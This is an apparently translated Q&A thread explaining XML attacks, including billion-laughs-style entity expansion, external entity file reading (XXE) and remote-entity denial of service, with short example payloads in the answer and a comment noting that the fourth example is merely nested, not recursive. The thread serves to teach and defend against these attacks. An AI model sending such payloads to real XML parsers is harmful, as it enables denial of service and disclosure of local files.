【问题标题】:xml vulnerabilitiesxml漏洞
【发布时间】:2009-12-15 11:51:34
【问题描述】:

xml 一直是面向服务的应用程序 (SOA) 的支柱,在未来它将是一个有用的。 由于 xml 简单、灵活,它很容易变得容易受到攻击,攻击者可以将其用于自己的目的。 因此,其中的一些攻击是强制解析攻击、xml 外部实体(XEE)攻击、xml dos(xdos)攻击、xml 炸弹。
谁能详细介绍一下这些攻击。
如何在单个系统中实际模拟这些攻击?

【问题讨论】:

    标签: xml security


    【解决方案1】:

    首先我们需要区分攻击的效果和被利用的特征

    可以利用的 XML 的特定功能是

    • XML 实体
    • 解析器和验证器的专有扩展
    • 循环/递归引用
    • 远程访问

    效果可以是任意一种

    • DOS
    • 信息披露

    我认为“炸弹”没有准确的定义,但它指的是一种特别“紧凑”且“扩展”的攻击。 “强制解析攻击”利用 XML 模型的特性来压倒解析器。

    以下示例取自XML Denial of Service Attacks and Defenses。 另外,如果你懂法语,请阅读优秀杂志“La security des web services”。

    示例 1

    使用实体的炸弹会导致 DOS,因为它会耗尽内存

    <?xml version="1.0"?>
    <!DOCTYPE kaboom [
      <!ENTITY a "aaaaaaaaaaaaaaaaaa...">
    ]>
    <kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
    

    如果您有 50'000 个 "aaaa...aaa" 和 50'0000 个 &amp;a:&amp;a;...&amp;a;,则 200KB 的有效负载会扩展到超过 2GB 的内存

    示例 2

    一个实体可以被用来以未经授权的方式访问另一个文件。这会导致信息泄露。

    <?xml version="1.0"?>
    <!DOCTYPE letter [
         <!ENTITY file SYSTEM "/sensitive.txt" >
    ]>
    <tag> &file; </tag>
    

    示例 3

    使用某些解析器访问远程资源的能力(请参阅http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在看看如果文件bigfile.xml 为 2GB 会发生什么。这可能会导致 DOS。

    <?xml version="1.0"?>
    <!DOCTYPE letter [
         <!ENTITY file  SYSTEM "http://www.mysite.com/bigfile.xml" >
    ]>
    <tag> &file; </tag>
    

    示例 4

    这种递归会导致内存耗尽,并且可能会导致 DOS。

    <!ENTITY companyname "Contoso Inc.">
    <!ENTITY divisionname "&companyname; Web Products Division">
    

    如果这是功课,那么您还应该考虑如何保护自己免受此类攻击。

    【讨论】:

    • 也许我在这里很迟钝,但是有人可以解释示例 4 中的递归吗?据我所知,&amp;companyname; 将扩展为“Contoso Inc.”。和&amp;divisionname; 将扩展为“Contoso Inc. Web Products Division”。我看不出这两种方法会如何导致问题。
    • @squeamishossifrage 如果您转到从中提取示例的链接,您将获得更清晰的解释。这里给出的递归示例并不是文章中的递归示例,只是一个简单的嵌套示例。此外,递归攻击只有在您的解析器允许文章中描述的无效 XML 时才会起作用。
    猜你喜欢
    • 1970-01-01
    • 2021-06-05
    • 2017-06-08
    • 2012-10-13
    • 2023-04-07
    • 1970-01-01
    • 1970-01-01
    • 2022-01-12
    • 1970-01-01
    相关资源
    最近更新 更多